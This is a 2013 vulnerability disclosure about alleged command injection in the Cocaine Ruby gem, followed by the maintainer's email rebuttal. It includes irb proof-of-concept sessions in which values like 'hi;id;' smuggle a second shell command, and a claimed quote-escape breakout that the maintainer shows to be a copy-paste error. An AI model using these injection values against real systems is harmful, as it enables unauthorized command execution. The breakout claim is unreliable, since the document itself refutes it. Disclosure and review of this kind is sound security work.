Command Line Injection Cocaine Ruby Gem Larry W. Cashdollar @_larry0 6/3/2013 It appears the cocaine ruby gem is vulnerable to command injection due to lack of input of input sanitization and an insufficient shell escaping function. This can be demonstrated in a code snippet from software depending on the cocaine gem (http://wagn.org). The following code snippet is vulnerable to command injection via the cocaine command line execution gem: In the following source code the author uses the cocaine utility to run a shell command with image_magick. https://github.com/wagn/wagn-cldstr/blob/a270edfbf8fae7c4a60f001a133279d92cb23d88/wagn/files-ws/gems/ruby/1.9.1/gems/paperclip-2.8.0/lib/paperclip.rb def run(cmd, arguments = "", interpolation_values = {}, local_options = {}) if options[:image_magick_path] Paperclip.log("[DEPRECATION] :image_magick_path is deprecated and will be removed. Use :command_path instead") end command_path = options[:command_path] || options[:image_magick_path] Cocaine::CommandLine.path = [Cocaine::CommandLine.path, command_path].flatten.compact.uniq local_options = local_options.merge(:logger => logger) if logging? && (options[:log_command] || local_options[:log_command]) Cocaine::CommandLine.new(cmd, arguments, local_options).run(interpolation_values) end A simple PoC is a follows: Cocaine does not sanitize input if passed as a simple argument: irb(main):001:0> require 'cocaine' => true irb(main):002:0> def run(cmd,arguments) irb(main):003:1> Cocaine::CommandLine.new(cmd,arguments) irb(main):004:1> end => nil irb(main):005:0> run("echo","hi") => #, @logger=nil, @swallow_stderr=nil, @expected_outcodes=[0], @environment={}> irb(main):007:0> run("echo","hi").run => "hi\n" irb(main):008:0> run("echo","hi;id;").run => "hi\nuid=1000(larry) gid=1000(larry) groups=1000(larry),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),106(lpadmin),117(sambashare)\n" irb(main):009:0> Where if passed as a ruby symbol it is escaped with “ ‘ “: irb(main):009:0> line = Cocaine::CommandLine.new("echo",":file") => #, @logger=nil, @swallow_stderr=nil, @expected_outcodes=[0], @environment={}> irb(main):010:0> line.command(:file => "foo;id;") => "echo 'foo;id;'" irb(main):011:0> irb(main):013:0> line.command(:file => "\'foo;id;") => "echo ''\\''foo;id;'" <--- Cocaine adds ' to escape the argument in the shell. irb(main):014:0> It might be possible also to submit a filename that can break out of the shell escaping as well: irb(main):019:0> line.command(:file => "'foo;id;\'/\'") => "echo ''\\''foo;id;'\\''/'" <--- this is what is passed to the shell. irb(main):020:0> larry@sp0rk:~$ echo ''\\''foo;id;'\\''/' <--- if executed we break out of the ' escape. \foo uid=1000(larry) gid=1000(larry) groups=1000(larry),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),106(lpadmin),117(sambashare) bash: \\/: No such file or directory Cocaine source code snippet: in ./lib/cocaine/command_line.rb lines: 128- def interpolate(pattern, interpolations) 129- interpolations.inject(pattern) do |command_string, (key, value)| 130: command_string.gsub(/:\{?#{key}\}?/) { shell_quote(value) } 131- end 132- end 133- 134: def shell_quote(string) 135- return "" if string.nil? 136- if unix? 137- if string.empty? 138- "''" It appears an attempt is made to quote the command only if the command string contains a colon. Begin forwarded message: > From: Jon Yurek > Date: June 04, 2013 8:24:24 AM > To: security@thoughtbot.com,"Larry W. Cashdollar" > Subject: Re: Command injection in cocaine ruby gem. > > Larry, > > Thank you very much for the report. > > You are correct about some of your concerns and assumptions about Cocaine, but not all. > > Cocaine only escapes data that is interpolated into the "arguments" via placeholders (the symbol-type strings). It does not escape anything else in the arguments string, because the arguments string is not intended for user-supplied data. It is intended to form a template for the command line's arguments. Note that passing user-supplied data in this string is just as dangerous as passing user-supplied data to `system` or similar methods. > > Also note that this does not affect the code as implemented by Paperclip as any arguments that can come from user-supplied data are quoted via interpolation. If you believe this to not be the case, I would be eager to hear about it so it can be fixed. > > The documentation could and should be bolstered to make this clearer, to prevent people from attempting to pass in user-generated data directly. > > In the second example, you are not correct. The command you copied from IRB and pasted into the shell is not representative of what Cocaine will actually execute. Here is a pry/bash session that demonstrates what I mean: > > 0 [0s] mri-1.9.3-p392 ~/Development/cocaine (master) $ pry -r cocaine > [1] pry(main)> c = Cocaine::CommandLine.new("echo", ":file") > => # @binary="echo", > @environment={}, > @expected_outcodes=[0], > @logger=nil, > @options={}, > @params=":file", > @runner=#, > @swallow_stderr=nil> > [2] pry(main)> c.command(file: "\'hi;id;") > => "echo ''\\''hi;id;'" > [3] pry(main)> puts c.command(file: "\'hi;id;") > echo ''\''hi;id;' > => nil > [4] pry(main)> ^D > 0 [39s] mri-1.9.3-p392 ~/Development/cocaine (master) $ echo ''\''hi;id;' > 'hi;id; > 0 [0s] mri-1.9.3-p392 ~/Development/cocaine (master) $ > > You'll notice that you are correct in that the output of [2] will indeed generate the command you say it will, but you should also notice that it's being quoted by Ruby for display. The output of [3] is the "real" command, unquoted by ruby. I copied and pasted that into bash and it printed exactly what was given to it in a safe manner. > > I hope this properly addresses your concerns. If I haven't, or if you have any further questions regarding the subject, please don't hesitate to reply. > > Thanks again for this report, > Jon > > On Jun 4, 2013, at 10:38 AM, "Larry W. Cashdollar" wrote: > > > Hi guys, > > > > It appears the cocaine ruby gem is vulnerable to command injection due to lack of input santization and an insufficent shell escaping function. > > > > This can be demonstrated in a code snippet from software depending on the cocaine gem (http://wagn.org). The following code snippet is vulnerable to command injection via the cocaine command line execution gem: > > > > In the following source code the author uses the cocaine utility to run a shell command with image_magick. > > > > https://github.com/wagn/wagn-cldstr/blob/a270edfbf8fae7c4a60f001a133279d92cb23d88/wagn/files-ws/gems/ruby/1.9.1/gems/paperclip-2.8.0/lib/paperclip.rb > > > > > > def run(cmd, arguments = "", interpolation_values = {}, local_options = {}) > > > > if options[:image_magick_path] > > > > Paperclip.log("[DEPRECATION] :image_magick_path is deprecated > > and will be removed. Use :command_path instead") > > > > end > > > > command_path = options[:command_path] || options[:image_magick_path] > > > > Cocaine::CommandLine.path = [Cocaine::CommandLine.path, > > command_path].flatten.compact.uniq > > > > local_options = local_options.merge(:logger => logger) if > > logging? && (options[:log_command] || local_options[:log_command]) > > > > Cocaine::CommandLine.new(cmd, arguments, > > local_options).run(interpolation_values) > > > > end > > > > > > A simple PoC is a follows: > > > > Cocaine does not sanitize input if passed as a simple argument: > > > > irb(main):001:0> require 'cocaine' > > => true > > irb(main):002:0> def run(cmd,arguments) > > irb(main):003:1> Cocaine::CommandLine.new(cmd,arguments) > > irb(main):004:1> end > > => nil > > irb(main):005:0> run("echo","hi") > > => # > @options={}, @runner=#, > > @logger=nil, @swallow_stderr=nil, @expected_outcodes=[0], > > @environment={}> > > irb(main):007:0> run("echo","hi").run > > => "hi\n" > > irb(main):008:0> run("echo","hi;id;").run > > => "hi\nuid=1000(larry) gid=1000(larry) > > groups=1000(larry),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),106(lpadmin),117(sambashare)\n" > > irb(main):009:0> > > > > Where if passed as a ruby symbol it is escaped with “ ‘ “: > > > > irb(main):009:0> line = Cocaine::CommandLine.new("echo",":file") > > => # > @options={}, @runner=#, > > @logger=nil, @swallow_stderr=nil, @expected_outcodes=[0], > > @environment={}> > > irb(main):010:0> line.command(:file => "foo;id;") > > => "echo 'foo;id;'" > > irb(main):011:0> > > irb(main):013:0> line.command(:file => "\'foo;id;") > > => "echo ''\\''foo;id;'" <--- Cocaine adds ' to escape the argument in the shell. > > irb(main):014:0> > > > > > > It might be possible also to submit a filename that can break out of > > the shell escaping as well: > > > > irb(main):019:0> line.command(:file => "'foo;id;\'/\'") > > => "echo ''\\''foo;id;'\\''/'" <--- this is what is passed to the shell. > > irb(main):020:0> > > > > larry@sp0rk:~$ echo ''\\''foo;id;'\\''/' <--- if executed we break out of the ' escape. > > \foo > > uid=1000(larry) gid=1000(larry) > > groups=1000(larry),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),106(lpadmin),117(sambashare) > > bash: \\/: No such file or directory > > > > > > Cocaine source code snippet: > > > > in ./lib/cocaine/command_line.rb lines: > > > > 128- def interpolate(pattern, interpolations) > > 129- interpolations.inject(pattern) do |command_string, (key, value)| > > 130: command_string.gsub(/:\{?#{key}\}?/) { shell_quote(value) } > > 131- end > > 132- end > > 133- > > 134: def shell_quote(string) > > 135- return "" if string.nil? > > 136- if unix? > > 137- if string.empty? > > 138- "''" > > > > It appears an attempt is made to quote the command only if the command string contains a colon. > > > > -- Thanks for looking into this > > Larry > > > > > -- > Jonathan Yurek, Co-founder > thoughtbot, inc. > 617.482.1300 x114 > http://thoughtbot.com/ > http://twitter.com/thoughtbot